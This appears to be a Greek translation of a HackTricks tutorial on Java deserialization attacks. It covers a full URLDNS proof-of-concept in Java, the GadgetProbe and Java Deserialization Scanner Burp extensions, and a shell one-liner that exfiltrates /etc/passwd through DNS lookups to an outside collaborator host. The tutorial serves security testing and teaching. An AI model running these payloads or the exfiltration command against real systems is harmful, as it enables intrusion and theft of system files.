Java DNS Deserialization, GadgetProbe και Java Deserialization Scanner
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
DNS αίτημα κατά την αποσειριοποίηση
Η κλάση java.net.URL
υλοποιεί το Serializable
, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσειριοποιηθεί.
public final class URL implements java.io.Serializable {
Αυτή η κλάση έχει μια περίεργη συμπεριφορά. Από την τεκμηρίωση: “Δύο υπολογιστές θεωρούνται ισοδύναμοι αν και τα δύο ονόματα υπολογιστών μπορούν να επιλυθούν στις ίδιες διευθύνσεις IP”.
Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί οποιαδήποτε από τις συναρτήσεις equals
ή hashCode
μια DNS αίτηση για να αποκτήσει τη διεύθυνση IP θα σταλεί.
Η κλήση της συνάρτησης hashCode
από ένα αντικείμενο URL είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα HashMap
που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή στο τέλος της συνάρτησης readObject
από το HashMap
εκτελείται αυτός ο κώδικας:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Είναι να εκτελεί το putVal
με κάθε τιμή μέσα στο HashMap
. Αλλά, πιο σχετική είναι η κλήση στο hash
με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Όπως μπορείτε να παρατηρήσετε, κατά την αποσειριοποίηση ενός HashMap
η συνάρτηση hash
θα εκτελείται με κάθε αντικείμενο και κατά τη διάρκεια της εκτέλεσης του hash
θα εκτελείται το .hashCode()
του αντικειμένου. Επομένως, αν αποσειριοποιήσετε ένα HashMap
που περιέχει ένα αντικείμενο URL, το αντικείμενο URL θα εκτελέσει το .hashCode()
.
Τώρα, ας ρίξουμε μια ματιά στον κώδικα του URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Όπως μπορείτε να δείτε, όταν ένα URLObject
εκτελεί .hashCode()
, καλείται hashCode(this)
. Μια συνέχεια μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Μπορείτε να δείτε ότι εκτελείται ένα getHostAddress
στο domain, εκκινώντας ένα DNS query.
Επομένως, αυτή η κλάση μπορεί να καταχραστεί προκειμένου να εκκινήσει ένα DNS query για να δείξει ότι είναι δυνατή η deserialization, ή ακόμα και για να εξάγει πληροφορίες (μπορείτε να προσθέσετε ως υποτομέα την έξοδο μιας εκτέλεσης εντολής).
URLDNS payload code example
Μπορείτε να βρείτε τον κώδικα payload URDNS από το ysoserial εδώ. Ωστόσο, απλά για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο σε αυτό από το ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Περισσότερες πληροφορίες
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Στην αρχική ιδέα, το payload των commons collections άλλαξε για να εκτελέσει ένα DNS query, αυτό ήταν λιγότερο αξιόπιστο από τη προτεινόμενη μέθοδο, αλλά αυτή είναι η ανάρτηση: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Μπορείτε να κατεβάσετε GadgetProbe από το Burp Suite App Store (Extender).
GadgetProbe θα προσπαθήσει να καταλάβει αν κάποιες Java κλάσεις υπάρχουν στην Java κλάση του διακομιστή ώστε να γνωρίζετε αν είναι ευάλωτος σε κάποια γνωστή εκμετάλλευση.
Πώς λειτουργεί
GadgetProbe θα χρησιμοποιήσει το ίδιο DNS payload της προηγούμενης ενότητας αλλά πριν εκτελέσει το DNS query θα προσπαθήσει να αποσειρθεί μια αυθαίρετη κλάση. Αν η αυθαίρετη κλάση υπάρχει, το DNS query θα σταλεί και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το DNS αίτημα ποτέ δεν σταλεί, αυτό σημαίνει ότι η αυθαίρετη κλάση δεν αποσειράθηκε επιτυχώς, οπότε είτε δεν είναι παρούσα είτε δεν είναι serializable/exploitable.
Μέσα στο github, GadgetProbe έχει κάποιες wordlists με Java κλάσεις για δοκιμή.
Περισσότερες Πληροφορίες
Java Deserialization Scanner
Αυτός ο σαρωτής μπορεί να κατέβει από το Burp App Store (Extender).
Η επέκταση έχει παθητικές και ενεργές ικανότητες.
Παθητική
Από προεπιλογή, ελέγχει παθητικά όλα τα αιτήματα και τις απαντήσεις που αποστέλλονται αναζητώντας Java serialized magic bytes και θα παρουσιάσει μια προειδοποίηση ευπάθειας αν βρεθεί κάποια:
Ενεργή
Χειροκίνητη Δοκιμή
Μπορείτε να επιλέξετε ένα αίτημα, να κάνετε δεξί κλικ και Send request to DS - Manual Testing
.
Στη συνέχεια, μέσα στην καρτέλα Deserialization Scanner Tab --> Manual testing tab μπορείτε να επιλέξετε το σημείο εισαγωγής. Και να ξεκινήσετε τη δοκιμή (Επιλέξτε την κατάλληλη επίθεση ανάλογα με την κωδικοποίηση που χρησιμοποιείται).
Ακόμα και αν αυτό ονομάζεται "Χειροκίνητη δοκιμή", είναι αρκετά αυτοματοποιημένο. Θα ελέγξει αυτόματα αν η αποσειροποίηση είναι ευάλωτη σε οποιοδήποτε ysoserial payload ελέγχοντας τις βιβλιοθήκες που είναι παρούσες στον διακομιστή ιστού και θα επισημάνει αυτές που είναι ευάλωτες. Για να ελέγξετε για ευάλωτες βιβλιοθήκες μπορείτε να επιλέξετε να εκκινήσετε Javas Sleeps, sleeps μέσω κατανάλωσης CPU, ή χρησιμοποιώντας DNS όπως έχει αναφερθεί προηγουμένως.
Εκμετάλλευση
Αφού έχετε εντοπίσει μια ευάλωτη βιβλιοθήκη, μπορείτε να στείλετε το αίτημα στην καρτέλα Exploiting Tab.
Σε αυτή την καρτέλα πρέπει να επιλέξετε ξανά το σημείο εισαγωγής, να γράψετε τη ευάλωτη βιβλιοθήκη για την οποία θέλετε να δημιουργήσετε ένα payload, και την εντολή. Στη συνέχεια, απλώς πατήστε το κατάλληλο κουμπί Επίθεσης.
Java Deserialization DNS Exfil πληροφορίες
Κάντε το payload σας να εκτελεί κάτι σαν το παρακάτω:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Περισσότερες Πληροφορίες
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.